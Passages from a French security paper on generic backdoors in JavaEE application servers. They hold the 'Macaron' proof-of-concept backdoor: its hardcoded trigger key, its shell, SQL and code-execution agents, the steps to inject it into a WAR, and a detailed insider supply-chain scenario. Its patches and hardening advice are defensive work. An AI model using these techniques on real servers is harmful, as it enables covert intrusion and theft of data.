Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

